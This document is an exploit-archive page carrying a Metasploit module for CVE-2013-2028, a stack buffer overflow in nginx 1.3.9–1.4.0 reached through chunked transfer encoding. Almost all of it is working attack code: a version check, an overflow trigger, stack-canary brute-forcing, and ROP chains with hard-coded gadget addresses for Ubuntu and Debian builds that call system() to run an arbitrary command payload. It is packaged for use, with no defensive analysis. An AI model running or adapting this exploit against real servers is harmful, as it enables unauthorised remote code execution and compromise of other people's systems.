Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow



EKU-ID: 3235 CVE: 2013-2028 OSVDB-ID: 93037
Author: saelo Published: 2013-05-23 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote

	include Exploit::Remote::Tcp

	def initialize(info = {})

		super(update_info(info,
			'Name'           => 'Nginx HTTP Server 1.3.9-1.4.0 Chuncked Encoding Stack Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in versions 1.3.9 to 1.4.0 of nginx.
				The exploit first triggers an integer overflow in the ngx_http_parse_chunked() by
				supplying an overly long hex value as chunked block size. This value is later used
				when determining the number of bytes to read into a stack buffer, thus the overflow
				becomes possible.
			},
			'Author'         =>
				[
					'Greg MacManus',    # original discovery
					'hal',              # Metasploit module
					'saelo'             # Metasploit module
				],
			'DisclosureDate' => 'May 07 2013',
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['CVE', '2013-2028'],
					['OSVDB', '93037'],
					['URL', 'http://nginx.org/en/security_advisories.html'],
					['URL', 'http://packetstormsecurity.com/files/121560/Nginx-1.3.9-1.4.0-Stack-Buffer-Overflow.html']
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'BadChars' => "\x0d\x0a",
				},
			'Arch' => ARCH_CMD,
			'Platform' => 'unix',
			'Targets'        =>
				[
					[ 'Ubuntu 13.04 32bit - nginx 1.4.0', {
						'CanaryOffset' => 5050,
						'Offset' => 12,
						'Writable' => 0x080c7330, # .data from nginx
						:dereference_got_callback => :dereference_got_ubuntu_1304,
						:store_callback => :store_ubuntu_1304,
					}],
					[ 'Debian Squeeze 32bit - nginx 1.4.0', {
						'Offset' => 5130,
						'Writable' => 0x080b4360, # .data from nginx
						:dereference_got_callback => :dereference_got_debian_squeeze,
						:store_callback => :store_debian_squeeze
					} ],
				],

			'DefaultTarget' => 0
	))

	register_options([
			OptPort.new('RPORT', [true, "The remote HTTP server port", 80])
		], self.class)

	register_advanced_options(
		[
			OptInt.new("CANARY", [false, "Use this value as stack canary instead of brute forcing it", 0xffffffff ]),
		], self.class)

	end

	def peer
		"#{rhost}:#{rport}"
	end

	def check
		begin
			res = send_request_fixed(nil)

			if res =~ /^Server: nginx\/(1\.3\.(9|10|11|12|13|14|15|16)|1\.4\.0)/m
				return Exploit::CheckCode::Appears
			elsif res =~ /^Server: nginx/m
				return Exploit::CheckCode::Detected
			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("#{peer} - Connection failed")
		end

		return Exploit::CheckCode::Unknown
	end

	#
	# Generate a random chunk size that will always result
	# in a negative 64bit number when being parsed
	#
	def random_chunk_size(bytes=16)
		return bytes.times.map{ (rand(0x8) + 0x8).to_s(16) }.join
	end

	def send_request_fixed(data)

		connect

		request = 	"GET / HTTP/1.1\r\n"
		request <<	"Host: #{Rex::Text.rand_text_alpha(16)}\r\n"
		request <<	"Transfer-Encoding: Chunked\r\n"
		request <<	"\r\n"
		request <<	"#{data}"

		sock.put(request)

		res = nil

		begin
			res = sock.get_once(-1, 0.5)
		rescue EOFError => e
			# Ignore
		end

		disconnect
		return res
	end

	def store_ubuntu_1304(address, value)
		chain = [
			0x0804c415, # pop ecx ; add al, 29h ; ret
			address, # address
			0x080b9a38, # pop eax ; ret
			value.unpack('V').first, # value
			0x080a9dce, # mov [ecx], eax ; mov [ecx+4], edx ; mov eax, 0 ; ret
		]
		return chain.pack('V*')
	end

	def dereference_got_ubuntu_1304
		chain = [
			0x08094129,         # pop esi; ret
			0x080c5090,         # GOT for localtime_r
			0x0804c415,         # pop ecx ; add al, 29h ; ret
			0x001a4b00,         # Offset to system
			0x080c360a,         # add ecx, [esi] ; adc al, 41h ; ret
			0x08076f63,         # push ecx ; add al, 39h ; ret
			0x41414141,         # Garbage return address
			target['Writable'], # ptr to .data where contents have been stored
		]
		return chain.pack('V*')
	end

	def store_debian_squeeze(address, value)
		chain = [
			0x08050d93,              # pop edx ; add al 0x83 ; ret
			value.unpack('V').first, # value
			0x08067330,              # pop eax ; ret
			address,                 # address
			0x08070e94,              # mov [eax] edx ; mov eax 0x0 ; pop ebp ; ret
			0x41414141,              # ebp
		]

		return chain.pack('V*')
	end

	def dereference_got_debian_squeeze
		chain = [
			0x0804ab34,        # pop edi ; pop ebp ; ret
			0x080B4128 -
			0x5d5b14c4,        # 0x080B4128 => GOT for localtime_r; 0x5d5b14c4 => Adjustment
			0x41414141, 	   # padding (ebp)
			0x08093c75,        # mov ebx, edi ; dec ecx ; ret
			0x08067330,        # pop eax # ret
			0xfffb0c80,        # offset
			0x08078a46,        # add eax, [ebx+0x5d5b14c4] # ret
			0x0804a3af,	       # call eax # system
			target['Writable'] # ptr to .data where contents have been stored
		]
		return chain.pack("V*")
	end

	def store(buf, address, value)
		rop = target['Rop']
		chain = rop['store']['chain']
		chain[rop['store']['address_offset']] = address
		chain[rop['store']['value_offset']] = value.unpack('V').first
		buf << chain.pack('V*')
	end

	def dereference_got

		unless self.respond_to?(target[:store_callback]) and self.respond_to?(target[:dereference_got_callback])
			fail_with(Exploit::Failure::NoTarget, "Invalid target specified: no callback functions defined")
		end

		buf = ""
		command = payload.encoded
		i = 0
		while i < command.length
			buf << self.send(target[:store_callback], target['Writable'] + i, command[i, 4].ljust(4, ";"))
			i = i + 4
		end

		buf << self.send(target[:dereference_got_callback])

		return buf
	end

	def exploit
		data = random_chunk_size(1024)

		if target['CanaryOffset'].nil?
			data << Rex::Text.rand_text_alpha(target['Offset'] - data.size)
		else

			if not datastore['CANARY'] == 0xffffffff
				print_status("#{peer} - Using 0x%08x as stack canary" % datastore['CANARY'])
				canary = datastore['CANARY']
			else
				print_status("#{peer} - Searching for stack canary")
				canary = find_canary

				if canary.nil? || canary == 0x00000000
					fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to find stack canary")
				else
					print_good("#{peer} - Canary found: 0x%08x\n" % canary)
				end
			end

			data <<	Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
			data <<	[canary].pack('V')
			data << Rex::Text.rand_text_hex(target['Offset'])

		end

		data << dereference_got

		begin
			send_request_fixed(data)
		rescue Errno::ECONNRESET => e
			# Ignore
		end
		handler
	end

	def find_canary
		# First byte of the canary is already known
		canary = "\x00"

		print_status("#{peer} - Assuming byte 0 0x%02x" % 0x00)

		# We are going to bruteforce the next 3 bytes one at a time
		3.times do |c|
			print_status("#{peer} - Bruteforcing byte #{c + 1}")

			0.upto(255) do |i|
				data = 	random_chunk_size(1024)
				data <<	Rex::Text.rand_text_alpha(target['CanaryOffset'] - data.size)
				data <<	canary
				data << i.chr

				unless send_request_fixed(data).nil?
					print_good("#{peer} - Byte #{c + 1} found: 0x%02x" % i)
					canary << i.chr
					break
				end
			end
		end

		if canary == "\x00"
			return nil
		else
			return canary.unpack('V').first
		end
	end
end